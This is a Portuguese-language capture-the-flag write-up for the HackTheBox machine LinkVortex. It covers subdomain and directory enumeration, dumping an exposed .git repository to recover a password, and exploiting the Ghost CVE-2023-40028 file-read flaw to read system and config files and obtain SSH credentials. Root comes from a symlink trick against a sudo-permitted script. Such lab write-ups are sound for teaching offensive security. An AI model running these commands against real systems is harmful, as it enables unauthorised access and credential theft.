> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# Relato do HackTheBox LinkVortex

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração de subdomínios
* Extração de informações do diretório .git (Git-Dumper)
* Vazamento de Informações
* Exploração de LFI (Ghost)
* Abusando de privilégios Sudo via script (link simbólico duplo)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/158b7dfaa7fd3719278d28668876b111be730684" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/ba829bcb90e9822fabf0c8b537b04e71ff117be0" alt=""><figcaption></figcaption></figure>

**Configuração do arquivo /etc/hosts**

Adicionamos o endereço IP do alvo ao nosso `/etc/hosts` arquivo para facilitar as resoluções DNS locais.

<figure><img src="/files/eb3aea532da0645e41a7dfd134544b20f0f45db7" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="/files/1e3a57587a64cbc59ba670f15a1d8a7f204e2df7" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

<figure><img src="/files/d79475b3e9fa798a1a7bf4cc2603b1383d024ad6" alt=""><figcaption></figcaption></figure>

### **Porta 80**

<figure><img src="/files/a4a13104e43ab7eb38816a5922417ad9cfc322fd" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="/files/59b71bc95f861b0eb773a7e6c14ca0737ee005f9" alt=""><figcaption></figcaption></figure>

### **Enumeração de diretórios**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="/files/b00e6619818eb5a91396db68f8f12bfb8d2b586d" alt=""><figcaption></figcaption></figure>

### Painel de administração - Ghost

<figure><img src="/files/df9b59591774ffdf55e9f92601b701bd5b91f5e4" alt=""><figcaption></figcaption></figure>

### **Descoberta de um subdomínio**

Procuramos subdomínios associados a `linkvortex.htb` usando gobuster.

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Encontramos o subdomínio `dev.linkvortex.htb`. Aqui está o comando para realizar essa busca:

<figure><img src="/files/c810809b5bac0171db496286629cfc4f4fd0bc50" alt=""><figcaption></figcaption></figure>

Depois que o subdomínio é encontrado, o adicionamos ao `/etc/hosts` arquivo para facilitar o acesso:

<figure><img src="/files/3724b3285bb77668a4368da603f4e36341bbb1c3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8b03a3dec42c148de19865c5a9f502ec4704d0f0" alt=""><figcaption></figcaption></figure>

#### **Buscando diretórios no novo subdomínio**

Procuramos diretórios existentes no `dev.linkvortex.htb` subdomínio usando `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

Descobrimos o `.git` diretório, o que pode indicar um repositório Git exposto.

<figure><img src="/files/61ef543a6a083f238eddc6e879e6f50d14401908" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/86c9e788577a0a4e85768ca06e8bf8787d7de82d" alt=""><figcaption></figcaption></figure>

### **Extração de arquivos com Git-Dumper**

Usamos a `git-dumper` ferramenta para extrair arquivos do `.git` diretório e analisá-los:

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="/files/95b05c6a3b8c315982175f5650436b736a0dc786" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f0f50bba26d59b243269ececcdeb6b45638f7e4" alt=""><figcaption></figcaption></figure>

Isso nos permite obter arquivos sensíveis, incluindo um arquivo de teste localizado em `ghost/core/test/regression/api/admin/authentication.test.js`, onde encontramos uma senha:

<figure><img src="/files/7c20f98c16deb4e1ea20daf4e03d867fe439eb7e" alt=""><figcaption></figcaption></figure>

**Senha encontrada:**

```parser
OctopiFociPilfer45
```

<figure><img src="/files/a3a245eb3c5d92658375d38d683d3f1c7b5f06b2" alt=""><figcaption></figcaption></figure>

### **Login no Painel de Administração do Ghost**

Com essa senha, tentamos nos conectar ao painel de administração do Ghost usando o `admin@linkvortex.htb` endereço de e-mail:

* **E-mail** : `admin@linkvortex.htb`
* **Senha**: `OctopiFociPilfer45`

<figure><img src="/files/48159b6e28216533a1f0e7e8aef11e6885419b00" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade GHost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="/files/23360012d27670e219df7860886cf60c777007e5" alt=""><figcaption></figcaption></figure>

> Durante a varredura de portas, identificamos que a versão do Ghost usada (v5.58) é vulnerável a uma vulnerabilidade LFI (Local File Inclusion), identificada pelo CVE-2023-40028. Para explorar essa vulnerabilidade, baixamos o script de exploit e modificamos a URL de destino para apontar para nossa instância do Ghost.

<figure><img src="/files/88ed3c9cbc937d5adb15ad44ff2e69f01cb72d69" alt=""><figcaption></figcaption></figure>

Aqui está o comando para executar o exploit:

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

Então obtemos um shell e podemos exibir arquivos, como `/etc/passwd`.

<figure><img src="/files/f244bad1dc48fb86c6a49eac5667fdf08aefea79" alt=""><figcaption></figcaption></figure>

**Acesso a uma rota interna via LFI**

No `.git` diretório, encontramos um arquivo Docker que nos fornece uma rota interna para acessar uma sessão: `/var/lib/ghost/config.production.json`.

<figure><img src="/files/7b92ee59b62a383554fc6d43ce3d3b024a1e457c" alt=""><figcaption></figcaption></figure>

Usamos LFI para listar arquivos e encontrar as credenciais de um usuário chamado Bob:

<figure><img src="/files/2c9d4700849f0b8f9e63b61b894bacf5cb31fc31" alt=""><figcaption></figcaption></figure>

**Credenciais de Bob:**

* **Usuário**: `bob@linkvortex.htb`
* **Senha**: `fibber-talented-worth`

Nos conectamos à máquina-alvo via SSH usando as credenciais de Bob:

### Flag user.txt :)

Usamos a senha `fibber-talented-worth` para fazer login e acessar o arquivo `user.txt`, onde encontramos a flag.

<figure><img src="/files/3990214d113e4b783e931fe730a3b443111045cc" alt=""><figcaption></figcaption></figure>

## Flag root.txt :)

### SUDO - Clean/\_synLink.sh

Estamos procurando uma vulnerabilidade que permita escalada de privilégios. Descobrimos um arquivo com permissões SUID.

<figure><img src="/files/e6544578c9e78b3f35eab836b295fe6889374690" alt=""><figcaption></figcaption></figure>

#### **Análise do script de limpeza de link simbólico**

> Analisamos um script chamado `clean_symlink.sh`, que verifica se o arquivo fornecido como argumento é um link simbólico apontando para um `.png` arquivo. Se o link simbólico apontar para um arquivo crítico, o script o exclui. Caso contrário, move o link simbólico para o `/var/quarantined/` diretório. Se a `CHECK_CONTENT` variável de ambiente estiver definida como `true`, o script tenta ler o conteúdo do arquivo.

Aqui está o comando para criar os links simbólicos necessários para a exploração:

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

Em seguida, executamos o script com o seguinte comando para obter a flag de root:

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

Obtemos, assim, a `root.txt` flag.

<figure><img src="/files/30cfa2f3b8b707f70787a445399d584744e873e0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/57cc8c324c89c5f24df193023945fe0e045fd5c0" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
